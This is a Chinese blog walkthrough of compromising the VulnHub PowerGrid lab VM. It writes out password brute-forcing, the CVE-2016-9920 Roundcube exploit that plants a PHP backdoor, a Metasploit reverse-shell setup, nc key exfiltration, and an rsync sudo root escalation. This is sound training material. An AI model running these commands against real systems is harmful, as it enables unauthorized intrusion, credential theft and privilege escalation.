VulnHub PowerGrid 1.0.1靶机渗透

VulnHub PowerGrid 1.0.1靶机渗透,第1张

VulnHub PowerGrid 1.0.1靶机渗透

​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载。


难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova天翼云盘:https://cloud.189.cn/t/2UN7Ffiuqyym百度网盘:https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取码:r4zc官网简介:靶机会进行计时,即使关闭虚拟机也不会停止,超时后将销毁证据渗透目标:获取root权限,找到4个flag本机地址:192.168.110.27靶机地址:192.168.110.36 

信息收集

话不多说,直接上nmap看靶机IP。


nmap 192.168.110.0/24 -sP

本机是192.168.110.27,那靶机就是192.168.110.36。


接着扫一下端口。


nmap -A -p- 192.168.110.36

没有打开22号端口可还行,第一次见到这么任性的靶机。


没关系,80端口终归还是打开了的,看看网页。


网页端显示了一个计时器,文字说明提示这是一封勒索信,3个小时之内要交250亿欧元,这黑客可是真够黑的。


不过,这个网页的最后透露了deez1、p48、all2这几个用户名,需要留意一下。


按照规矩,一般都会遍历一下网页的目录。


dirb http://192.168.110.36

什么也没有可还行,不过按照以前的经验(VulnHub CengBox2靶机渗透),有可能是默认字典不够大,使用dirbuster的字典再扫一次。


dirb http://192.168.110.36 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w

发现images目录和zmail页面。


images目录就是两张背景图片,没什么用,而访问zmail页面则d出一个登录对话框,使用几个常见密码和用户名登录失败,尝试使用burp爆破。


对登录界面抓包后发现用户名密码采用了Base64编码,使用burp自带的解码器解码。


其实就是在用户名和密码之间插入了一个冒号。


接下来使用最经典的rockyou密码字典爆破,用户名则选择deez1、p48、all2。


经过漫长的等待,终于发现有一个响应包的长度跟其他的不一样。


成功获取登录密码,登录后发现又是一个登录界面。


使用同样的用户名密码登录尝试,登录成功(简直多此一举)。


登录后发现root发送过来了一封右键。


邮件中写道还有另一台服务器,下面的加密信息就是SSH的私钥,是用p48的gpg私钥加密的,可以用来登录那台服务器但没必要。


呵呵,没必要?我会听你的?你个糟老头子坏得很。


不过暂时还没有办法解密消息,先把加密消息保存下来。


由于在网页端可以写邮件,因此猜测能通过附件上传PHP木马,经过尝试后并不奏效,只好去查找roundcube的漏洞。


msfconsole search roundcube

痛苦,在Metasploit里找不到相关漏洞。


不过不用灰心,说不定在网上能找到。


经过查找后发现小于1.2.2版本的roundcube存在代码执行漏洞,编码为CVE-2016-9920,GitHub链接为:https://github.com/t0kx/exploit-CVE-2016-9920。


git clone https://github.com/t0kx/exploit-CVE-2016-9920.git

漏洞利用

这个exp是用python写的,不过作者给的示例都不能使用,因为靶机上有两个登录界面,而正常来说,网站只需要登录一次就够了。


另外,需要更改exp的发件人与收件人。


./exploit.py --host p48:[email protected] --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"

攻击成功,现在只需要访问http://192.168.110.36/zmail/backdoor.php即可执行命令了。


先看看/var/www/目录下都有些啥东西。


很好,发现了第一个flag文件,赶紧查看一下内容。


提示是pivote,并没有什么用。


既然已经可以执行任意命令,那么就可以配合msf获取shell。


msfconsoleuse multi/script/web_deliveryset payload php/meterpreter_reverse_tcpset LHOST 192.168.110.27set target PHPrun

执行之后会显示一条以php开头的命令,复制到浏览器访问。


这时msf已经成功获取session了。


sessions -lsessions -i 1shell

很无奈,每次拿到的shell都很不好用,没有安全感。


利用python将难用的shell改成bash。


whereis python

发现有python2.7和python3.7。


python3.7 -c 'import pty; pty.spawn("/bin/bash")'

成功获取了www-data的bash,接下来就要作点妖了,先看看家目录下都有哪些用户。


cd /homels

很好,有一个叫p48的用户,这个用户的网页端密码之前已经爆破出来了,尝试切换到p48。


完美,p48跟我一样,喜欢一个密码到处用,更惊喜的是p48家目录下有一个gpg私钥,这应该就是可以解密网页端加密消息的私钥了(翻译翻译,什么叫惊喜)。


不过奇怪的是,靶机上竟然没有gpg命令,必须拷贝到攻击主机上才能解密。


nc -lvvp 31337 < privkey.gpgnc 192.168.110.36 31337 > p48.gpg

接下来解密文件。


gpg --import p48.gpggpg --decrypt id_rsa.encoded > id_rsa

解密后还需要把id_rsa传回到靶机,同样使用的nc,这里就不赘述了。


现在问题来了,这个SSH私钥文件是要拿来连接谁的呢?邮件里root说的另一台服务器在哪呢?莫非这台靶机上还运行了虚拟机?查看一下IP看看有什么猫腻。


有一个叫docker0的网卡,这台靶机应该还运行着docker,所谓的另一台服务器应该就在容器里运行着。


扫一下172.17.0.0/24这个网段(网卡信息显示网段为172.17.0.0/16,不过172.17.0.0/24的范围更大,因此不会漏洞可能的IP),看看另一台靶机的端口是多少。


由于靶机没有安装nmap,所以只能使用循环加ping的方法判断。


for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 192.168.110.$i is down ;done

还好IP比较靠前,一下子就扫出来了。


接着使用SSH私钥登录。


chmod 600 id_rsassh -i id_rsa [email protected]

登录后很容易就发现了第二个flag。


第二个flag提示p48的用户权限不高,很明显,这是提示要提权了。


权限提升

首先看看有什么命令是可以提权执行的。


sudo -l

rsync命令可以免密码以root用户权限运行,rsync命令可以理解成一个加强版的cp命令,既然可以使用root权限运行,那么就可以把/root/下的所有文件拷贝到/tmp目录下查看。


第三个flag已经出来了,这个flag提示pivoting backwards,难不成第四个flag在docker外?由于最开始扫描靶机端口时22号端口没有打开,这里又提示要往回找第四个flag,我们有理由怀疑靶机在docker0网卡上开放了SSH服务,往外连接试试。


实锤了,可以通过172.17.0.1连接到靶机。


不过并不知道密码,p48用户家目录下的.ssh目录里也没有存放SSH私钥,这是一件很头疼的事。


经过查询,发现rsync命令不仅可以用来拷贝文件,还可以用来提权。


sudo -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/nullwhoami

很好,已经成功提权到root,接下来查看/root/.ssh/目录下有没有SSH私钥。


cd /root/.sshlsssh -i id_rsa [email protected]

不出所料,成功登录到外面的靶机。


接下来就是查找第四个flag了。


第四个flag就存放在/root/目录下,根据提示,这是最后一个flag了。


至此,对PowerGrid的渗透已经全部完成。


总结

这个靶机整体偏难,首先是网页端的爆破,一般的密码字典很难跑出来,而rockyou这个密码字典又很大,如果不耐心等待的话很难爆破出来。




其次是这台靶机多次用到了公私钥,如果对非对称加密和gpg工具不熟悉的话,可能就会无法进入下一关。


这台靶机还运行着docker,就相当于有两台靶机,这是PowerGrid比较新颖的地方。


另外,3个小时的时间限制也为渗透增加了几分紧张刺激的气氛。


整体来说,这台靶机在形式上有一定的创新性,很值得下载下来亲自复现一下。


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/586668.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-12
下一篇 2022-04-12

发表评论

登录后才能评论

评论列表(0条)

保存